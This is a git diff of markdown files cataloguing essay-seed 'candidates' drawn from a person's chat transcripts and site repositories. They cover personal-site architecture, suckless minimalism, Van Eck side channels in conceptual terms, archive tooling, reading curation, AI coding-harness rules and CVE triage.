position +- Confidence: high +- Kris point: Content systems should expose clean canonical URLs and keep type/category paths as implementation detail. +- Abstract: A personal site can have essays, verse, notes, reviews, predictions, and logs without making the URL carry every internal taxonomy. + +The public promise is the slug. The database can know type and category, but the reader should get a stable, memorable permalink. +- Notes: README diff states canonical permalinks are `/<slug>`, not typed category paths. + +## Candidate 9: Plain Text Can Be The More Honest README +- Source: 2026-05-14 README.md to README.txt diff, krisyotam.com +- Type: observation +- Confidence: high +- Kris point: A README can become clearer when it gives up markdown flourish and becomes plain text infrastructure documentation. +- Abstract: The README conversion from markdown to text reads like a preference for durability. Tables become aligned blocks, links become names, commands become lines, and the document stops pretending to be a brochure. + +For a personal infrastructure repo, plain text can be more congruent than polished markdown. It is easier to read in any terminal and harder to overdecorate. +- Notes: Based on replacement of README.md with README.txt. + +## Candidate 10: Personal Infrastructure Is Not A Contribution Funnel +- Source: 2026-05-14 README.txt diff, krisyotam.com +- Type: position +- Confidence: high +- Kris point: A personal project can be open for reference while explicitly not accepting contributions. +- Abstract: Openness does not imply invitation. A repo can be public so others can inspect, learn, or borrow patterns while still remaining a personal system with no obligation to accept patches. + +The boundary is clean: reference is welcome, governance is not for sale. +- Notes: README.txt includes "open for reference but not accepting contributions." + +## Candidate 11: Content Repos Should Be First-Class Citizens +- Source: 390e191d-979c-4288-92e2-e6581f944e96.jsonl, 2026-04-24, krisyotam.com +- Type: workflow +- Confidence: high +- Kris point: The site repository and the content repository should be committed and pushed as a coordinated publishing unit. +- Abstract: When the site depends on a separate content repo, the publishing workflow cannot pretend the code repo is the whole state. The sync script should commit generated artifacts and also push content changes when present. + +This prevents the visible site, derived databases, and source prose from drifting apart. +- Notes: From diff adding `pushContentRepo()` to the site git script. + +## Candidate 12: Derived Databases Should Not Become Source Truth +- Source: 2026-05-19 krisyotam.com diff moving content to `.corpus/content` +- Type: workflow +- Confidence: high +- Kris point: Databases are generated surfaces; the durable source is the corpus. +- Abstract: The workflow treats SQLite as the publication substrate, not the authorial source. Content moves through scripts into databases, but the corpus is where the text lives. + +That distinction protects prose from being trapped in derived artifacts. It also keeps rebuilds and migrations possible. +- Notes: Supported by diffs around content path relocation and sync scripts. + +## Candidate 13: A Personal Site Can Be A Whole Cabinet +- Source: README.txt diff, 2026-05-14, krisyotam.com +- Type: observation +- Confidence: high +- Kris point: A personal site can hold essays, research, verse, courses, predictions, quotes, media logs, and code without reducing itself to a blog. +- Abstract: The site is not a single genre. It is an index of intellectual life: writing, reading, media, projects, school, links, prayers, and solved code. + +The point is not minimal content. The point is a coherent filing system that lets many kinds of work coexist. +- Notes: Based on route and content list in README.txt. + +## Candidate 14: Search Surfaces Need Consistent Content Type Awareness +- Source: krisyotam.com project conventions in local ops memory and related pre-commit diffs +- Type: workflow +- Confidence: medium +- Kris point: Every new content type must update every place where users discover content. +- Abstract: Adding a type is not finished when the page renders. Search, settings, feeds, counts, and navigation all become part of the contract. + +Content architecture fails when the schema changes but discovery remains stale. The maintenance rule is simple: if a type exists, the whole site should know how to find it. +- Notes: Provenance partly from local project conventions, partly from transcript diffs touching content stats. + +## Candidate 15: Suckless Is Minimalism With A Clarity Constraint +- Source: a0710726-dfee-4a3b-a0cf-c8d5532d5872.jsonl, 2026-04-25, krisyotam.com +- Type: argument +- Confidence: high +- Kris point: Simplicity is only valuable until it begins to contradict clarity. +- Abstract: The strongest version of minimalism is not "less at any cost." It is "as simple as possible, and no simpler." + +When simplification makes the system harder to understand, it has created a new complexity. The suckless lesson is frugality disciplined by clarity, not aesthetic austerity. +- Notes: Directly grounded in Suckless notebook excerpt. + +## Candidate 16: Suckless Is A Life Philosophy In Software Clothing +- Source: a0710726-dfee-4a3b-a0cf-c8d5532d5872.jsonl, 2026-04-25, krisyotam.com +- Type: essay-seed +- Confidence: high +- Kris point: A philosophy developed around programming can generalize into habits of life. +- Abstract: Suckless begins as a software posture: small tools, clear code, advanced users, and systems that reward understanding. + +But the interesting claim is broader. A person who learns to prefer simple, inspectable systems in software may start demanding the same thing from habits, workflows, possessions, and institutions. +- Notes: The source says the philosophy has begun to take over every facet of life. + +## Candidate 17: Advanced Tools Should Respect Advanced Users +- Source: a0710726-dfee-4a3b-a0cf-c8d5532d5872.jsonl, 2026-04-25, krisyotam.com +- Type: position +- Confidence: high +- Kris point: Some software should be built for users willing to understand their systems instead of hiding all complexity from them. +- Abstract: Not every tool has to flatten itself for the least technical user. There is room for software aimed at people who will read, configure, patch, and learn. + +The trade is honest: the tool does less hand-holding, and the user gets more legibility and control. +- Notes: Based on the Suckless description of advanced-user software. + +## Candidate 18: Minimalism Fails When It Becomes Aesthetic +- Source: a0710726-dfee-4a3b-a0cf-c8d5532d5872.jsonl, 2026-04-25, krisyotam.com +- Type: aphorism +- Confidence: medium +- Kris point: Minimalism is useful only when it reduces real complexity rather than merely looking sparse. +- Abstract: The useful minimalism is operational. It makes the thing easier to hold in the head, easier to repair, and easier to trust. + +The useless minimalism is visual. It removes context, names, and affordances until the system becomes obscure. +- Notes: Extrapolated from Suckless clarity constraint. + +## Candidate 19: Van Eck Phreaking Is Information Leakage Made Visible +- Source: c49a1157-13ea-45b6-b60b-30c41b73b783.jsonl, 2026-05-08, krisyotam.com +- Type: observation +- Confidence: high +- Kris point: Electronic devices leak information through signals correlated with their internal state. +- Abstract: Van Eck phreaking is not just a spy-story curiosity. It is a reminder that computation has a physical body. + +Screens, cables, keyboards, and radios radiate patterns. If those patterns correlate with internal state, they can become information channels without leaving ordinary forensic traces. +- Notes: Directly supported by Van Eck notebook excerpt. + +## Candidate 20: Security Boundaries Are Physical Before They Are Legal +- Source: c49a1157-13ea-45b6-b60b-30c41b73b783.jsonl, 2026-05-08, krisyotam.com +- Type: essay-seed +- Confidence: high +- Kris point: The threat model must include the physics of machines, not only permissions and logs. +- Abstract: A system can have no compromised account, no suspicious process, and no file touched, yet still leak information. + +Van Eck phreaking forces the security conversation out of the admin panel and into electromagnetic reality. The boundary is not only what the OS allows; it is also what the hardware emits. +- Notes: Based on VEP description and notes about no forensic trace. + +## Candidate 21: ML Changes The Side-Channel Threat Model +- Source: c49a1157-13ea-45b6-b60b-30c41b73b783.jsonl, 2026-05-08, krisyotam.com +- Type: argument +- Confidence: high +- Kris point: Once machine learning can recover meaning from noisy emissions, the side-channel threat model changes. +- Abstract: The old question was whether an attacker could capture a clean enough signal. The newer question is whether a model can infer the signal from noise. + +If Deep-TEMPEST-style work succeeds, then the attacker no longer needs perfect instruments. They need enough data and a model good enough to reconstruct what used to be practically hidden. +- Notes: From Van Eck notes mentioning Deep-TEMPEST and ML-equipped adversaries. + +## Candidate 22: Air Gaps Are Philosophical Claims +- Source: c49a1157-13ea-45b6-b60b-30c41b73b783.jsonl, 2026-05-08, krisyotam.com +- Type: essay-seed +- Confidence: medium +- Kris point: Air-gap security is a claim about channels, not simply a claim about networks. +- Abstract: Removing a network cable does not remove all communication. It only removes the obvious channel. + +The philosophy of air-gap security has to ask what else can carry information: power, sound, radio, heat, timing, light, and routine human movement. The "gap" is a hypothesis that needs adversarial testing. +- Notes: Extrapolated from Van Eck notes on air-gap security and covert channels. + +## Candidate 23: Some Technical Papers Are Politically Subversive +- Source: c49a1157-13ea-45b6-b60b-30c41b73b783.jsonl, 2026-05-08, krisyotam.com +- Type: essay-seed +- Confidence: medium +- Kris point: A technical demonstration can be politically charged when it makes classified or elite knowledge publicly legible. +- Abstract: Van Eck's 1985 paper mattered not only because it described a technique. It mattered because it showed that intelligence-agency knowledge could be made understandable with inexpensive parts and public explanation. + +The subversion lies in making the hidden channel visible to ordinary readers. +- Notes: From notebook note "Why van Eck's 1985 paper was politically subversive." + +## Candidate 24: The Villa As Self-Portrait +- Source: 609e28c6-60d2-44dd-b3be-20bd51e9aa9c.jsonl, 2026-04-27, krisyotam.com +- Type: observation +- Confidence: high +- Kris point: A house can be a collector's self-portrait as much as a residence. +- Abstract: Villa Ephrussi de Rothschild appears in the transcript less as real estate than as a made object, a projection of taste, money, arrangement, and memory. + +The collector's life is legible in what she built, acquired, and left behind. The villa becomes a durable argument about style. +- Notes: Based on Beatrice Ephrussi de Rothschild notebook excerpt. + +## Candidate 25: Collection Is A Form Of Authorship +- Source: 609e28c6-60d2-44dd-b3be-20bd51e9aa9c.jsonl, 2026-04-27, krisyotam.com +- Type: essay-seed +- Confidence: medium +- Kris point: A major collection can express a mind even when the collector did not make the works. +- Abstract: The act of selection, arrangement, preservation, and bequest is not passive ownership. It is a curatorial authorship. + +Beatrice Ephrussi de Rothschild's villa and thousands of works suggest a life composed through taste. The estate is the sentence; the collection is the syntax. +- Notes: Grounded in the notebook's emphasis on villa, art collection, and bequest. + +## Candidate 26: Build Viewers For Archives, Not Just Hoard Archives +- Source: ebad2dc8-eae3-4470-bb7a-412a565a9ae8.jsonl, 2026-04-25, Downloads +- Type: workflow +- Confidence: high +- Kris point: A large Usenet archive becomes useful only when converted into a searchable long-term viewer. +- Abstract: The archive is not finished when the files are preserved. Preservation creates the obligation to make the material inspectable. + +A Next.js viewer backed by SQLite or Postgres turns old newsgroup logs into a research surface. The database is not aesthetic overkill; it is what makes maintenance and reuse possible. +- Notes: Based on prompt about using massive Usenet archive for a database-backed Next.js project. + +## Candidate 27: Keep Originals Intact During Conversion +- Source: ebad2dc8-eae3-4470-bb7a-412a565a9ae8.jsonl, 2026-04-25, Downloads +- Type: workflow +- Confidence: high +- Kris point: Archive conversion should work from copies and preserve original files untouched. +- Abstract: A converter is allowed to normalize, index, split, and import, but it should not mutate the archive it depends on. + +The original files are the ground truth. Every database, viewer, or transformed representation should be reproducible from them. +- Notes: Directly from instruction to keep original files intact and make copies for conversion. + +## Candidate 28: Plan 9 Aesthetic Can Be A Product Constraint +- Source: ebad2dc8-eae3-4470-bb7a-412a565a9ae8.jsonl, 2026-04-25, Downloads +- Type: position +- Confidence: high +- Kris point: A project can preserve a Plan 9 design aesthetic as part of its engineering brief, not as late decoration. +- Abstract: The Usenet viewer brief does not separate interface from archive work. It asks to keep the CSS and Plan 9 aesthetic while choosing storage and building the app. + +That makes design a continuity constraint. The archive deserves a surface that fits its culture. +- Notes: Based on prompt mentioning existing CSS and Plan 9 design aesthetic. + +## Candidate 29: SQLite First, Postgres When The Shape Demands It +- Source: ebad2dc8-eae3-4470-bb7a-412a565a9ae8.jsonl, 2026-04-25, Downloads +- Type: workflow +- Confidence: medium +- Kris point: Database choice should follow archive shape, maintenance needs, and long-term use rather than fashion. +- Abstract: The prompt does not assume SQLite or Postgres in advance. It asks to look at the files first, then decide. + +That is the right order. File count, query patterns, deployment constraints, and preservation goals should choose the database. +- Notes: Inferred from "look at the files then decide sqlite or postgres." + +## Candidate 30: Suckless Does Not Exclude Next.js +- Source: ebad2dc8-eae3-4470-bb7a-412a565a9ae8.jsonl, 2026-04-25, Downloads +- Type: position +- Confidence: medium +- Kris point: A Next.js project can still be held to a suckless standard if it stays simple, legible, and restrained. +- Abstract: Framework choice does not absolve the design from discipline. Even a modern web app can be built with small surfaces, predictable data flow, and no unnecessary ornament. + +The phrase "still Next.js" paired with "keep it suckless" suggests a useful tension: use the tool, but do not inherit its bloat as destiny. +- Notes: Based on Usenet viewer prompt. + +## Candidate 31: Research Starts With Downloadable Sources +- Source: agent-acbb93513e19e816b.jsonl, 2026-04-25, Downloads subagent +- Type: workflow +- Confidence: high +- Kris point: For archive work, web viewers are not enough; the source must be downloadable. +- Abstract: A historical archive cannot depend on someone else's web interface. The research target is bulk data: tarballs, mbox files, spool dumps, JSON, raw text, and documented download patterns. + +The distinction matters because a viewer gives access, while a dataset gives stewardship. +- Notes: Based on Usenet archive research prompt. + +## Candidate 32: Exact URL Patterns Matter +- Source: agent-a9c9cf814b208ee93.jsonl, 2026-04-25, Downloads subagent +- Type: workflow +- Confidence: high +- Kris point: Archive research should capture exact downloadable URL patterns, not only collection names. +- Abstract: "Archive.org has it" is not enough for a build plan. The useful report lists file counts, sizes, samples, naming conventions, and URL patterns. + +Good research ends with the next command being obvious. +- Notes: Based on Archive.org Usenet file listing prompt. + +## Candidate 33: Read-Only Collaboration Is A Different Product +- Source: 3dfbdb7e-18e0-4279-8a92-b80d703178d7.jsonl, 2026-04-27, Downloads +- Type: position +- Confidence: high +- Kris point: Notebook sharing is only acceptable for some use cases if collaborators can be read-only. +- Abstract: Collaboration is not a binary between private and editable. There is a third need: let others inspect a notebook without giving them control over it. + +The read-only requirement turns a note app from a personal store into a publication surface with boundaries. +- Notes: Based on Joplin read-only sharing question. + +## Candidate 34: Trial Infrastructure Before Committing To A Tool +- Source: 3dfbdb7e-18e0-4279-8a92-b80d703178d7.jsonl, 2026-04-27, Downloads +- Type: workflow +- Confidence: high +- Kris point: A self-hosted tool should be trialed on real infrastructure before becoming part of the system. +- Abstract: The move from "can Joplin do read-only sharing" to "set that up on STARGATE so I can trial this" is a practical evaluation loop. + +Documentation answers the possibility question. A deployed trial answers the fit question. +- Notes: Based on Joplin setup prompt. + +## Candidate 35: Names Should Match Reader Function +- Source: 06a904b3-7c12-48dc-9413-ba8510e64115.jsonl, 2026-04-26, Downloads +- Type: observation +- Confidence: high +- Kris point: "Publications" may fit a curated reading page better than "Networks" when the reader expects outlets, journals, and magazines. +- Abstract: Naming is interface design. If a page primarily lists magazines, journals, wire services, and cultural outlets, "publications" may tell the truth more directly than "networks." + +The question is not which name is prettier. It is which name better predicts the contents. +- Notes: Based on prompt asking whether to rename networks to publications. + +## Candidate 36: Curate By Function And Shelf +- Source: 06a904b3-7c12-48dc-9413-ba8510e64115.jsonl, 2026-04-27, Downloads +- Type: workflow +- Confidence: high +- Kris point: A publication list should be organized by function and regional shelf, not dumped alphabetically. +- Abstract: A serious media directory needs multiple organizing principles. Some sources are plain-news fallbacks, some are literary journals, some are art-market surfaces, some are regional windows. + +The structure should tell the reader what each source is for. +- Notes: Based on requested organization for networks/publications list. + +## Candidate 37: Read The Economist Critically +- Source: 06a904b3-7c12-48dc-9413-ba8510e64115.jsonl, 2026-04-27, Downloads +- Type: position +- Confidence: high +- Kris point: The Economist is useful, but its liberal internationalist and pro-market house view should be read critically. +- Abstract: A source can be valuable without being neutral. The right note is not "avoid it" but "know its house view." + +That turns reading from passive intake into calibrated use. The outlet becomes a tool with known bias, not an oracle. +- Notes: Directly from the listed annotation. + +## Candidate 38: Plain News Has A Fallback Role +- Source: 06a904b3-7c12-48dc-9413-ba8510e64115.jsonl, 2026-04-27, Downloads +- Type: workflow +- Confidence: high +- Kris point: Reuters and AP are best used as fact-checking and plain-news fallbacks, not as the whole reading diet. +- Abstract: Wire services solve a specific problem: what happened, who said it, when, and where. They are not substitutes for criticism, history, or essays. + +Their value is in grounding. Use them on demand when claims need a plain factual floor. +- Notes: Based on annotations for Reuters and AP. + +## Candidate 39: Build A Canon Across High And Regional Culture +- Source: 06a904b3-7c12-48dc-9413-ba8510e64115.jsonl, 2026-04-27, Downloads +- Type: observation +- Confidence: high +- Kris point: A serious reading network can include LRB, Apollo, Sight and Sound, The Namibian, Nippon.com, and regional culture outlets together. +- Abstract: The list refuses a narrow prestige canon. It includes literary journals, art magazines, film criticism, Linux reporting, regional news, and national culture outlets. + +The result is a canon organized by attention rather than status alone. +- Notes: From networks/publications prompt. + +## Candidate 40: Publication Lists Should Preserve Provenance +- Source: 06a904b3-7c12-48dc-9413-ba8510e64115.jsonl, 2026-04-27, Downloads +- Type: workflow +- Confidence: medium +- Kris point: When replacing a copied publication list, use the old markdown only as a URL source and let the curated list decide inclusion. +- Abstract: The transcript distinguishes between source material and editorial judgment. The downloaded markdown can provide URLs, but inclusion comes from Kris's new list. + +That is a useful pattern: scrape for facts, curate by intent. +- Notes: Based on instruction to ignore unlisted items from the downloaded markdown. + +## Candidate 41: LLM Workflows Deserve Their Own Monorepo +- Source: b09f8f0c-eb00-4efd-ae9d-e7c5691e6e4e.jsonl, 2026-04-27, Downloads +- Type: workflow +- Confidence: high +- Kris point: AI harness rules should be centralized into a private monorepo rather than duplicated project by project. +- Abstract: Claude, Codex, Cursor, Gemini, Copilot, Aider, Continue, Cline, Windsurf, and Hermes all want different instruction formats, but they should not each invent a philosophy. + +The monorepo makes shared rules canonical and harness-specific files adapters. +- Notes: Based on `/dev/llms` creation prompt. + +## Candidate 42: Harnesses Differ, Principles Should Not +- Source: agent-a3e5d6776fbeeeb05.jsonl, 2026-04-27, Downloads subagent +- Type: position +- Confidence: high +- Kris point: Every AI coding harness should consume the same underlying engineering philosophy in its own native format. +- Abstract: The rules can be expressed as `CLAUDE.md`, `AGENTS.md`, `.cursorrules`, or another file, but the foundation should remain stable. + +That prevents the tool from becoming the culture. The harness adapts to the user's standards, not the other way around. +- Notes: Based on generated llms README content in transcript. + +## Candidate 43: Writing Should Follow Orwell, Not ChatGPT +- Source: agent-a3e5d6776fbeeeb05.jsonl, 2026-04-27, Downloads subagent +- Type: position +- Confidence: high +- Kris point: AI writing rules should explicitly reject generic LLM prose and prefer plain, concrete style. +- Abstract: The instruction "Writing follows Orwell, not ChatGPT" is a compact style doctrine. It prizes clarity, plainness, and directness over padded hedging and model-polished filler. + +For agents, this has to be written down. Otherwise they revert to the statistical average of assistant prose. +- Notes: Direct phrase appears in llms README content. + +## Candidate 44: Plain Text Over JSON +- Source: agent-a3e5d6776fbeeeb05.jsonl, 2026-04-27, Downloads subagent +- Type: aphorism +- Confidence: high +- Kris point: Plain text should be preferred where it is sufficient because it remains inspectable and durable. +- Abstract: JSON is useful when a machine needs structure. Plain text is better when a human needs to read, edit, diff, and carry the rule across tools. + +A workflow repository should not turn every convention into a schema just because it can. +- Notes: Based on llms README philosophy bullet "Plain text over JSON." + +## Candidate 45: No Building Without Permission +- Source: agent-a3e5d6776fbeeeb05.jsonl, 2026-04-27, Downloads subagent +- Type: workflow +- Confidence: high +- Kris point: Agents should not run expensive or state-changing build commands without explicit permission. +- Abstract: The rule is less about builds specifically than about respecting operational boundaries. A model can inspect, plan, and edit, but certain commands cross into resource use and system change. + +Permission keeps autonomy from becoming surprise. +- Notes: Based on llms README philosophy bullet and local ops memory. + +## Candidate 46: Architecture Docs Stay Current Or Nothing Ships +- Source: agent-a3e5d6776fbeeeb05.jsonl, 2026-04-27, Downloads subagent +- Type: workflow +- Confidence: high +- Kris point: Documentation is part of the shipping condition, not an afterthought. +- Abstract: If architecture docs are allowed to drift, the repository becomes a trap for the next agent or human maintainer. + +The rule is intentionally severe: either the docs reflect reality, or the change is not ready. This treats understanding as part of the artifact. +- Notes: Based on llms README philosophy bullet. + +## Candidate 47: Do Not Write Content On The User's Behalf +- Source: agent-a3e5d6776fbeeeb05.jsonl, 2026-04-27, Downloads subagent +- Type: position +- Confidence: high +- Kris point: Agents may research, format, and fact-check, but they should not author personal content as the user. +- Abstract: The boundary protects voice. AI can help maintain the machinery around writing, but it should not impersonate the person whose site or archive it serves. + +That separation makes the tool useful without making the corpus suspect. +- Notes: Based on llms README philosophy and repeated local rule. + +## Candidate 48: Email History Is A Personal Account Graph +- Source: b09f8f0c-eb00-4efd-ae9d-e7c5691e6e4e.jsonl, 2026-04-27, Downloads +- Type: observation +- Confidence: high +- Kris point: Old inboxes can reconstruct which services a person signed up for and how accounts moved across email addresses. +- Abstract: Email is not only correspondence. It is a ledger of accounts, migrations, confirmations, receipts, password resets, and abandoned identities. + +Scanning old mail by sender domain can recover a personal service graph that memory alone cannot. +- Notes: Based on prompt to scan all email signups and transfers. + +## Candidate 49: Marketing Mail Should Not Count As A Signup +- Source: agent-a754fb54dac26cb2b.jsonl, 2026-04-27, Downloads subagent +- Type: workflow +- Confidence: high +- Kris point: Account reconstruction must separate marketing-only senders from real service or transactional relationships. +- Abstract: A domain that only sends promotions is not the same as a service where an account exists. The classifier has to distinguish newsletters from confirmations, receipts, resets, shipping notices, and account alerts. + +When a domain has both marketing and transactional signals, it belongs in the service set. +- Notes: Directly from email report classification rules. + +## Candidate 50: Reports Should Be Built From Raw Data +- Source: agent-a754fb54dac26cb2b.jsonl, 2026-04-27, Downloads subagent +- Type: workflow +- Confidence: high +- Kris point: Existing analysis can be reference material, but the final report should be rebuilt from raw JSON and maildir data. +- Abstract: The reliable report starts at the source: JSON summaries and actual message headers. + +Prior summaries can guide the work, but they should not become unquestioned truth. Rebuilding from raw data makes the result auditable. +- Notes: Based on instruction to read existing analysis for reference but build from raw data. + +## Candidate 51: Domain-Level Evidence Beats Memory +- Source: agent-a754fb54dac26cb2b.jsonl, 2026-04-27, Downloads subagent +- Type: observation +- Confidence: high +- Kris point: Sender domains and addresses provide better evidence of signups than recollection. +- Abstract: Personal memory forgets the account, the date, the transfer, and the address used. Mail headers preserve the service's repeated contact patterns. + +The useful unit is domain to sender addresses to subjects, grouped by account. +- Notes: Based on requested email report schema. + +## Candidate 52: Use Agents For Bounded Subtasks +- Source: b09f8f0c-eb00-4efd-ae9d-e7c5691e6e4e.jsonl, 2026-04-27, Downloads +- Type: workflow +- Confidence: high +- Kris point: Subagents are useful when the task can be divided into concrete research, scanning, and report-writing units. +- Abstract: The transcript repeatedly delegates bounded work: read instruction files, inspect archives, fetch file listings, classify email senders, and report back. + +The pattern is not vague "AI team" theater. Each agent gets a defined input, output, and scope. +- Notes: Based on multiple Downloads subagent prompts. + +## Candidate 53: Formatting Is Not Rewriting +- Source: 69542333-17fa-4e33-a5c9-171174853926.jsonl, 2026-05-04, tekoa-coleman/content/thoughts +- Type: workflow +- Confidence: high +- Kris point: Restoring markdown formatting should preserve the author's words exactly. +- Abstract: Formatting work has a narrow mandate: blockquotes, paragraph breaks, italics for titles, verse line breaks, and frontmatter preservation. + +It must not rewrite, rephrase, add headings, or improve the content. The editor repairs structure without taking possession of voice. +- Notes: Based on repeated formatting prompt rules. + +## Candidate 54: Blockquotes Are Provenance Markers +- Source: 69542333-17fa-4e33-a5c9-171174853926.jsonl, 2026-05-04, tekoa-coleman/content/thoughts +- Type: observation +- Confidence: high +- Kris point: Long quoted passages should be visually marked as borrowed speech. +- Abstract: Markdown blockquotes are not just styling. They protect the boundary between the author's voice and someone else's words. + +When a parsed post loses formatting, restoring blockquotes restores attribution and argumentative structure. +- Notes: Based on blockquote rule in formatting prompts. + +## Candidate 55: Paragraph Breaks Should Follow Thought Shifts +- Source: 95178156-8165-406e-aaa8-ab406ab7267b.jsonl, 2026-05-04, tekoa-coleman/content/thoughts +- Type: workflow +- Confidence: high +- Kris point: Long paragraphs should be broken only where the thought actually turns. +- Abstract: Mechanical line breaking is not editing. A long paragraph can remain long if it holds one movement. + +The formatter should break only when a paragraph clearly contains multiple ideas. The goal is readability without rewriting the cadence. +- Notes: Based on long-paragraph rule in formatting prompts. + +## Candidate 56: Frontmatter Is Sacred During Content Repair +- Source: 2514f265-1b09-4057-aae1-9d8d5eda373b.jsonl, 2026-05-04, tekoa-coleman/content/thoughts +- Type: workflow +- Confidence: high +- Kris point: Metadata should survive formatting passes exactly as it came in. +- Abstract: When repairing parsed markdown, frontmatter is not prose. It is structured metadata and must remain byte-for-byte stable unless the task is metadata editing. + +This prevents formatting work from accidentally becoming data migration. +- Notes: Based on repeated rule to keep frontmatter exactly as-is. + +## Candidate 57: Security Triage Should Prefer False Positives +- Source: afb62f7d-8ab5-4584-a445-1accce298ca0.jsonl, 2026-05-15, omniscient +- Type: workflow +- Confidence: high +- Kris point: Vulnerability triage should be conservative when uncertainty could hide a real exposure. +- Abstract: The CVE prompt says to treat uncertainty as affected because a false positive is better than a missed vulnerability. + +That is the right asymmetry for security triage. Wasted follow-up is cheaper than silent compromise. +- Notes: Based on omniscient CVE triage prompt. + +## Candidate 58: CVE Answers Should Be Exact JSON +- Source: afb62f7d-8ab5-4584-a445-1accce298ca0.jsonl, 2026-05-15, omniscient +- Type: workflow +- Confidence: high +- Kris point: Automated security triage should return only the structured decision needed by downstream tools. +- Abstract: The triage format allows no markdown, no explanation block, and no ornamental prose. It returns affected status, package, version, action, urgency, or a compact reason. + +For operational security, verbosity can be a bug. +- Notes: Based on exact JSON output contract in omniscient prompt. + +## Candidate 59: Inventory-Based Security Beats Keyword Panic +- Source: afb62f7d-8ab5-4584-a445-1accce298ca0.jsonl, 2026-05-15, omniscient +- Type: workflow +- Confidence: high +- Kris point: A CVE should be evaluated against installed packages, services, kernel, OS, and language runtimes before action. +- Abstract: The prompt does not ask whether the CVE sounds scary. It asks whether it affects the actual system inventory. + +That keeps triage grounded. Severity matters, but applicability comes first. +- Notes: Based on task instructions in omniscient queue operation. + +## Candidate 60: The System Inventory Is A Security Primitive +- Source: afb62f7d-8ab5-4584-a445-1accce298ca0.jsonl, 2026-05-15, omniscient +- Type: observation +- Confidence: high +- Kris point: A current package and service inventory is what makes automated vulnerability triage possible. +- Abstract: Without an inventory, every CVE becomes speculation. With one, the assistant can compare affected software to installed packages, active services, kernels, and runtimes. + +The boring list of versions is the thing that turns news into action. +- Notes: Based on full Arch package and service inventory embedded in omniscient prompt. + +## Candidate 61: Notes Sites Should Share Typography With The Main Site +- Source: c50529aa-3548-4a28-b594-08ba4ef53c0b.jsonl, 2026-05-04, notes.krisyotam.com +- Type: observation +- Confidence: high +- Kris point: A knowledge base can borrow the main site's serif reading style to create continuity across personal infrastructure. +- Abstract: The notes diff moves prose toward a serif style, antialiasing, ligatures, and legible long-form text. + +The implication is that notes are not disposable admin pages. They are part of the same reading environment as the main site. +- Notes: Based on notes.krisyotam.com CSS diff. + +## Candidate 62: Generated Data Should Be Ignored And Rebuilt +- Source: a9170437-2cbc-4695-9811-79c15043c539.jsonl, 2026-05-15, notes.krisyotam.com +- Type: workflow +- Confidence: high +- Kris point: Generated public data should be built by scripts and excluded from source control when it can be reproduced. +- Abstract: Adding `public/data/` to `.gitignore` and wiring `predev` and `prebuild` to the index builder makes the boundary explicit. + +The source is the notes corpus and the builder. The generated data is a cache with a contract. +- Notes: Based on notes.krisyotam.com diff adding buildIndex scripts and ignoring generated data. diff --git a/doc/abstracts/converted-chat-candidates.md b/doc/abstracts/converted-chat-candidates.md new file mode 100644 index 0000000000000000000000000000000000000000..58ab69eb7f063bce4aa2c1c9c4afeaa64603ca94 --- /dev/null +++ b/doc/abstracts/converted-chat-candidates.md @@ -0,0 +1,241 @@ +Opening note: I found fewer than 40 real candidates in `/home/krisyotam/src/chat`. The durable source set is small: one authored chat markdown file, two site method pages, an empty `chats.db`, and one generated `dist/` page for a Socratic-method session that is not present in `content/`. I included all candidates that could be grounded without padding or inventing arguments. + +## Candidate 1: Prompting as Productive Tension +- Source: `/home/krisyotam/src/chat/pages/about.md`, 2026-04-26 +- Type: workflow +- Confidence: high +- Kris point: A good AI conversation should provoke reasoning rather than merely retrieve information. +- Abstract: Most chat sessions collapse into search with a pleasant interface. The more interesting use is dialectical: design the prompt so the model has to expose assumptions, defend claims, and follow an argument where it leads. + +The goal is not comfort or agreement. The goal is productive tension, because tension is what reveals whether there is an argument underneath the answer. +- Notes: Directly grounded in the About page's description of Chat and its method. + +## Candidate 2: The Prompt Should Force an Epistemic Move +- Source: `/home/krisyotam/src/chat/pages/faq.md`, 2026-04-26 +- Type: workflow +- Confidence: high +- Kris point: A serious prompt should be built around a specific epistemic move, not a vague request for output. +- Abstract: A useful prompt does something precise. It forces a position, introduces a contradiction, demands justification, or follows a claim to a conclusion the interlocutor might resist. + +That structure matters more than decorative wording. The prompt should create the conditions under which reasoning has to happen. +- Notes: Based on the FAQ answer "How are prompts crafted?" + +## Candidate 3: Conversation as Argument Stress Test +- Source: `/home/krisyotam/src/chat/pages/about.md`, 2026-04-26 +- Type: position +- Confidence: high +- Kris point: AI chat is valuable when it becomes a place to stress-test arguments and surface assumptions. +- Abstract: The point of keeping these chats is not that the model produced a clever answer. The point is that a structured exchange can make assumptions visible and put an argument under pressure. + +When the conversation is designed correctly, the model becomes less like a content generator and more like a dialectical surface: something that reflects the shape, weakness, and consequence of a line of thought. +- Notes: Synthesizes the About page's statement of purpose without adding a new claim. + +## Candidate 4: Refuse the Question Until the Terms Are Defined +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: argument +- Confidence: high +- Kris point: The first serious move in a difficult question is often to ask what standard is being used. +- Abstract: "What do you know for certain?" looks simple, but the answer depends on the standard of certainty. Mathematical certainty, empirical certainty, and subjective conviction are not the same thing. + +The Socratic move is to refuse the question long enough to expose the hidden criterion inside it. Otherwise the answer is determined before the argument begins. +- Notes: Grounded in the generated Socratic-method page's opening section. + +## Candidate 5: Certainty Narrows Under Pressure +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: argument +- Confidence: high +- Kris point: If certainty is pursued rigorously, very little survives. +- Abstract: Start with empirical certainty and the usual candidates appear: perception, inference, and memory. But each begins to fail under examination. Perception deceives, inference depends on premises, and memory reconstructs rather than records. + +The lesson is not cheap skepticism. It is that certainty becomes smaller as the standard becomes clearer. +- Notes: Closely follows "Pressure on the Definition." + +## Candidate 6: Doubt Gives Structure, Not Content +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: observation +- Confidence: high +- Kris point: The certainty of doubt may establish the structure of experience, but it does not certify the content of experience. +- Abstract: The Cartesian move has force: if doubt is occurring, something like doubting is present. But that certainty is formal. It does not tell us which perceptions are true, which memories are accurate, or which inferences are sound. + +It names that experience has a structure. It does not license confidence in everything inside that structure. +- Notes: Based on the source's account of the model giving a qualified Cartesian response. + +## Candidate 7: Track What Each Admission Costs +- Source: `/home/krisyotam/src/chat/dist/socratic-method-in-practice/index.html`, 2026-04-26, `claude-opus-4-6` +- Type: workflow +- Confidence: high +- Kris point: Good dialectic tracks the cost of every concession. +- Abstract: A useful exchange does not merely stack points. It asks what each admission changes. If perception 